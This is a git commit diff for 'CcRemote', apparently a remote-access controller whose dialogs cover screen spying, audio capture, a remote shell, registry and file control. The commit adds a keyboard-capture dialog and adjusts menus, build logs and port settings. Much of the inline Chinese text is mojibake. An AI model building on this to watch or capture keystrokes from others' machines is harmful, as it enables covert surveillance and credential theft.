<Image Include="res\keyboard.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
@@ -90,6 +90,7 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
|
||||
ON_MESSAGE(WM_OPENSERVERDIALOG, OnOpenServerDialog)
|
||||
ON_MESSAGE(WM_OPENREGEDITDIALOG, OnOpenRegEditDialog)
|
||||
ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyBoardDialog)
|
||||
|
||||
//-------------系统-------------
|
||||
ON_WM_SYSCOMMAND()
|
||||
@@ -136,7 +137,7 @@ void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext,
|
||||
case NC_TRANSMIT:
|
||||
break;
|
||||
case NC_RECEIVE:
|
||||
//ProcessReceive(pContext); //这里是有数据到来 但没有完全接收
|
||||
//ProcessReceive(pContext); // 这里是有数据到来 但没有完全接收
|
||||
break;
|
||||
case NC_RECEIVE_COMPLETE:
|
||||
ProcessReceiveComplete(pContext); //这里时完全接收 处理发送来的数据 跟进 ProcessReceiveComplete
|
||||
@@ -387,15 +388,48 @@ int CCcRemoteDlg::InitMyMenu()
|
||||
::SetMenu(this->GetSafeHwnd(), hmenu); //为窗口设置菜单
|
||||
::DrawMenuBar(this->GetSafeHwnd()); //显示菜单
|
||||
|
||||
int enum_ico[] = { IDB_BITMAP_ENUM_SHELL ,
|
||||
IDB_BITMAP_ENUM_PROCESS,
|
||||
IDB_BITMAP_ENUM_WINDOW,
|
||||
IDB_BITMAP_ENUM_DESK,
|
||||
IDB_BITMAP_ENUM_FILE,
|
||||
IDB_BITMAP_ENUM_AUDIO,
|
||||
IDB_BITMAP_ENUM_NULL,
|
||||
IDB_BITMAP_ENUM_SERVICE,
|
||||
IDB_BITMAP_ENUM_REGIST,
|
||||
IDB_BITMAP_ENUM_QUIT };
|
||||
|
||||
popup.LoadMenu(IDR_MENU_ONLINE);//载入菜单资源
|
||||
//popup.GetSubMenu(0)->SetMenuItemBitmaps();
|
||||
::MENUINFO lpcmi;
|
||||
m_brush.CreateSolidBrush(RGB(236, 153, 101));//颜色
|
||||
memset(&lpcmi, 0, sizeof(::LPCMENUINFO));
|
||||
lpcmi.cbSize = sizeof(MENUINFO);
|
||||
lpcmi.fMask = MIM_APPLYTOSUBMENUS | MIM_BACKGROUND;
|
||||
lpcmi.hbrBack = (HBRUSH)m_brush.operator HBRUSH();
|
||||
::SetMenuInfo(popup, &lpcmi);
|
||||
m_IconBitmap.LoadBitmap(IDB_BITMAP_ENUM_REGIST);
|
||||
CMenu *pSubMenu = popup.GetSubMenu(0);//获得子菜单(如果有)0表示索引,对应“文件”菜单
|
||||
for (int i = 0; i < 10; i++)
|
||||
{
|
||||
CBitmap bmp;
|
||||
bmp.LoadBitmap(enum_ico[i]);
|
||||
pSubMenu->SetMenuItemBitmaps(i, MF_BYPOSITION, &bmp, &bmp);
|
||||
bmp.Detach();
|
||||
}
|
||||
|
||||
CBitmap bmp;
|
||||
CBrush m_BKBrush;
|
||||
bmp.LoadBitmap(IDB_BITMAP_LOGO);
|
||||
m_BKBrush.CreatePatternBrush(&bmp);//创建位图画刷
|
||||
MENUINFO mnInfo;
|
||||
memset(&mnInfo, 0, sizeof(MENUINFO));
|
||||
mnInfo.cbSize = sizeof(MENUINFO);
|
||||
mnInfo.fMask = MIM_BACKGROUND;
|
||||
mnInfo.hbrBack = m_BKBrush;
|
||||
::SetMenuInfo(pSubMenu->m_hMenu, &mnInfo);
|
||||
m_BKBrush.Detach();
|
||||
|
||||
|
||||
//::MENUINFO lpcmi;
|
||||
//m_brush.CreateSolidBrush(RGB(236, 153, 101));//颜色
|
||||
//memset(&lpcmi, 0, sizeof(::LPCMENUINFO));
|
||||
//lpcmi.cbSize = sizeof(MENUINFO);
|
||||
//lpcmi.fMask = MIM_APPLYTOSUBMENUS | MIM_BACKGROUND;
|
||||
//lpcmi.hbrBack = (HBRUSH)m_brush.operator HBRUSH();
|
||||
//::SetMenuInfo(popup, &lpcmi);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -552,7 +586,7 @@ void CCcRemoteDlg::OnOnlineDesktop()
|
||||
void CCcRemoteDlg::OnOnlineFile()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_LIST_DRIVE; //在服务端中搜索COMMAND_LIST_DRIVE
|
||||
BYTE bToken = COMMAND_LIST_DRIVE; //服务端中COMMAND_LIST_DRIVE
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
@@ -584,6 +618,8 @@ void CCcRemoteDlg::OnOnlineServer()
|
||||
void CCcRemoteDlg::OnOnlineVideo()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_KEYBOARD;
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
@@ -799,7 +835,7 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
||||
return;
|
||||
|
||||
// 如果管理对话框打开,交给相应的对话框处理
|
||||
CDialog *dlg = (CDialog *)pContext->m_Dialog[1]; //这里就是ClientContext 结构体的int m_Dialog[2];
|
||||
CDialog *dlg = (CDialog *)pContext->m_Dialog[1]; // ClientContext 结构体的int m_Dialog[2];
|
||||
|
||||
// 交给窗口处理
|
||||
if (pContext->m_Dialog[0] > 0) //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理
|
||||
@@ -818,9 +854,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
||||
case AUDIO_DLG:
|
||||
((CAudioDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
//case KEYBOARD_DLG:
|
||||
// ((CKeyBoardDlg *)dlg)->OnReceiveComplete();
|
||||
// break;
|
||||
case KEYBOARD_DLG:
|
||||
((CKeyBoardDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
case SYSTEM_DLG:
|
||||
((CSystemDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
@@ -880,11 +916,11 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_DRIVE_LIST: // 驱动器列表
|
||||
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事,太菜
|
||||
// 指接调用public函数非模态对话框会失去反应
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_BITMAPINFO: //
|
||||
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
|
||||
// 指接调用public函数非模态对话框会失去反应
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
//进程遍历和窗口遍历公用的一个窗口类,在构造判断判断下类型来显示不同的数据
|
||||
@@ -901,6 +937,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
||||
case TOKEN_REGEDIT:
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENREGEDITDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_KEYBOARD_START:
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
// 命令停止当前操作
|
||||
default:
|
||||
closesocket(pContext->m_Socket);
|
||||
@@ -1055,7 +1094,7 @@ LRESULT CCcRemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
CSystemDlg *dlg = new CSystemDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
|
||||
|
||||
// 设置父窗口为卓面
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_SYSTEM, GetDesktopWindow()); //创建对话框
|
||||
dlg->ShowWindow(SW_SHOW); //显示对话框
|
||||
|
||||
@@ -1103,7 +1142,7 @@ LRESULT CCcRemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
CAudioDlg *dlg = new CAudioDlg(this, m_iocpServer, pContext);
|
||||
// 设置父窗口为卓面
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_AUDIO, GetDesktopWindow());
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
pContext->m_Dialog[0] = AUDIO_DLG;
|
||||
@@ -1127,7 +1166,7 @@ LRESULT CCcRemoteDlg::OnOpenServerDialog(WPARAM wParam, LPARAM lParam)
|
||||
return 0;
|
||||
}
|
||||
|
||||
//注册表管理窗口
|
||||
// 注册表管理窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenRegEditDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
@@ -1143,6 +1182,21 @@ LRESULT CCcRemoteDlg::OnOpenRegEditDialog(WPARAM wParam, LPARAM lParam)
|
||||
return 0;
|
||||
}
|
||||
|
||||
// 键盘管理窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenKeyBoardDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
CKeyBoardDlg *dlg = new CKeyBoardDlg(this, m_iocpServer, pContext);
|
||||
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_KEYBOARD, GetDesktopWindow());
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
|
||||
pContext->m_Dialog[0] = KEYBOARD_DLG;
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
return 0;
|
||||
}
|
||||
|
||||
//绘制背景图片
|
||||
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
|
||||
{
|
||||
@@ -1178,6 +1232,13 @@ HBRUSH CCcRemoteDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
sPath.ReleaseBuffer();
|
||||
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
|
||||
}
|
||||
if (nCtlColor == CTLCOLOR_STATIC)
|
||||
{
|
||||
pDC->SetTextColor(RGB(255, 255, 255));
|
||||
pDC->SetBkMode(TRANSPARENT); //设置背景透明
|
||||
return HBRUSH(GetStockObject(HOLLOW_BRUSH));
|
||||
|
||||
}
|
||||
|
||||
return hbr;
|
||||
}
|
||||
|
@@ -11,6 +11,7 @@
|
||||
#include "CFileManagerDlg.h"
|
||||
#include "CAudioDlg.h"
|
||||
#include "CServerDlg.h"
|
||||
#include "CKeyBoardDlg.h"
|
||||
#pragma once
|
||||
|
||||
|
||||
@@ -50,6 +51,7 @@ public:
|
||||
|
||||
private:
|
||||
//--------------变量及常量----------------
|
||||
CBitmap m_IconBitmap;
|
||||
NOTIFYICONDATA nid; // 含有图标 消息响应 的一个结构体 用于系统托盘
|
||||
CMenu popup; // LIST菜单变量
|
||||
SEU_QQwry* m_QQwry; // 识别IP区域
|
||||
@@ -63,12 +65,12 @@ private:
|
||||
CBitmap m_BitmapPicLogoA;
|
||||
CStatic m_PicLogoA; // 左上角logo
|
||||
|
||||
bool isTrue; //list背景是否已经加载
|
||||
bool isTrue; // list背景是否已经加载
|
||||
|
||||
#define COLUMN_ONLINE_COUNT 7 //在线列表的个数
|
||||
#define COLUMN_MESSAGE_COUNT 3 //消息列表的个数
|
||||
int m_Column_Online_Width = 0; //在线列表宽度和
|
||||
int m_Column_Message_Width = 0; //消息列表的宽度和
|
||||
#define COLUMN_ONLINE_COUNT 7 // 在线列表的个数
|
||||
#define COLUMN_MESSAGE_COUNT 3 // 消息列表的个数
|
||||
int m_Column_Online_Width = 0; // 在线列表宽度和
|
||||
int m_Column_Message_Width = 0; // 消息列表的宽度和
|
||||
|
||||
COLUMNSTRUCT m_Column_Online_Data[COLUMN_ONLINE_COUNT] =
|
||||
{
|
||||
@@ -88,8 +90,6 @@ private:
|
||||
{"信息内容", 660 }
|
||||
};
|
||||
|
||||
|
||||
|
||||
//-----------------------函数-----------------------
|
||||
void Test();
|
||||
int InitList(); // 初始化list控件信息
|
||||
@@ -105,7 +105,7 @@ private:
|
||||
// 添加信息到列表
|
||||
void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext);
|
||||
|
||||
// socket 的处理都要调用这个回调函数
|
||||
// 接收到的数据的处理都要调用这个回调函数
|
||||
static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode);
|
||||
|
||||
// 控制命令都要经过这个函数
|
||||
@@ -122,6 +122,7 @@ public:
|
||||
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenServerDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenRegEditDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenKeyBoardDialog(WPARAM, LPARAM);
|
||||
|
||||
//-------------系统消息处理-------------
|
||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
|
@@ -1,34 +1,38 @@
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\audio.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\regdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\inputdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\inifile.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\csystemdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cshelldlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\csettingdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cserverdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\caudiodlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
|
||||
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\audio.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\regdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\inputdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\inifile.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cpuusage.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\csystemdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cshelldlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\csettingdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cserverdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ckeyboarddlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\caudiodlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\iocpserver.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\buffer.obj
|
||||
f:\myapp\ccremote\bin\ccremote.ilk
|
||||
f:\myapp\ccremote\bin\ccremote.exe
|
||||
f:\myapp\ccremote\bin\ccremote.pdb
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
|
||||
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
|
||||
|
@@ -1,14 +1,5 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
CcRemote.cpp
|
||||
CcRemoteDlg.cpp
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(169): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(174): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(333): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(353): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(857): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(945): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
正在生成代码...
|
||||
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
CKeyBoardDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\ckeyboarddlg.cpp(27): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
|
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|G:\CcRemote\CcRemote\CcRemote\|
|
||||
Debug|Win32|F:\myapp\CcRemote\CcRemote\|
|
||||
|
BIN
CcRemote/CcRemote/Debug/ccremotedlg.obj.enc
Normal file
BIN
CcRemote/CcRemote/Debug/ckeyboarddlg.obj.enc
Normal file
@@ -51,7 +51,7 @@ enum
|
||||
SCREENSPY_DLG, // <20><>Ļ
|
||||
WEBCAM_DLG,
|
||||
AUDIO_DLG, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
KEYBOARD_DLG, // <20><><EFBFBD><EFBFBD> δʵ<EFBFBD><EFBFBD>
|
||||
KEYBOARD_DLG, // <20><><EFBFBD><EFBFBD>
|
||||
SYSTEM_DLG, // <20><><EFBFBD><EFBFBD>
|
||||
SHELL_DLG, // shell<6C><6C><EFBFBD><EFBFBD>
|
||||
SERVER_DLG, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
@@ -812,10 +812,12 @@ void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)
|
||||
WaitForSingleObject(pContext->m_hWriteComplete, INFINITE);
|
||||
|
||||
// Prepare Packet
|
||||
// pContext->m_wsaOutBuffer.buf = (CHAR*) new BYTE[nSize];
|
||||
// pContext->m_wsaOutBuffer.len = pContext->m_WriteBuffer.GetBufferLen();
|
||||
// pContext->m_wsaOutBuffer.buf = (CHAR*) new BYTE[nSize];
|
||||
// pContext->m_wsaOutBuffer.len = pContext->m_WriteBuffer.GetBufferLen();
|
||||
|
||||
OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
|
||||
// PostQueuedCompletionStatus<75><73>Ҫ<EFBFBD><D2AA>Ͷ<EFBFBD><CDB6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɶ<EFBFBD><C9B6>е<EFBFBD><D0B5><EFBFBD>
|
||||
// <20>Ӷ<EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD>ڵȴ<DAB5><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2>ijһ<C4B3><D2BB><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>ȡ<EFBFBD><C8A1>.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>GetQueuedCompletionStauts<74><73><EFBFBD><EFBFBD>Ӧ,
|
||||
PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
|
||||
|
||||
pContext->m_nMsgOut++;
|
||||
|
@@ -86,7 +86,7 @@ public:
|
||||
};
|
||||
|
||||
|
||||
struct ClientContext //<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ClientContext<EFBFBD>ṹ<EFBFBD><EFBFBD>Ȼ<EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD> SendSelectCommand
|
||||
struct ClientContext //ClientContext<78>ṹ<EFBFBD><E1B9B9> SendSelectCommand
|
||||
{
|
||||
SOCKET m_Socket; //<2F><EFBFBD><D7BD><EFBFBD>
|
||||
// Store buffers
|
||||
|
@@ -20,6 +20,8 @@
|
||||
#include <afxwin.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxcontrolbars.h>
|
||||
#include <afxwin.h>
|
||||
|
||||
#endif //PCH_H
|
||||
|
||||
|
BIN
CcRemote/CcRemote/res/keyboard.ico
Normal file
After Width: | Height: | Size: 766 B |
BIN
CcRemote/CcRemote/res/menu_res/button_beauty_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_beauty_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_bulid_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_bulid_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_comfort_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_comfort_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_food_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_food_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_joy_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_joy_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_mood_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_mood_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_research_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_research_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_rest_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_rest_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_space_off.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/menu_res/button_space_on.ico
Normal file
After Width: | Height: | Size: 22 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
BIN
bin/CcRemote.exe
3
bin/CcRemote.ini
Normal file
@@ -0,0 +1,3 @@
|
||||
[Settings]
|
||||
ListenPort=8088
|
||||
MaxConnection=10
|
@@ -1 +0,0 @@
|
||||
git更改局部名称
|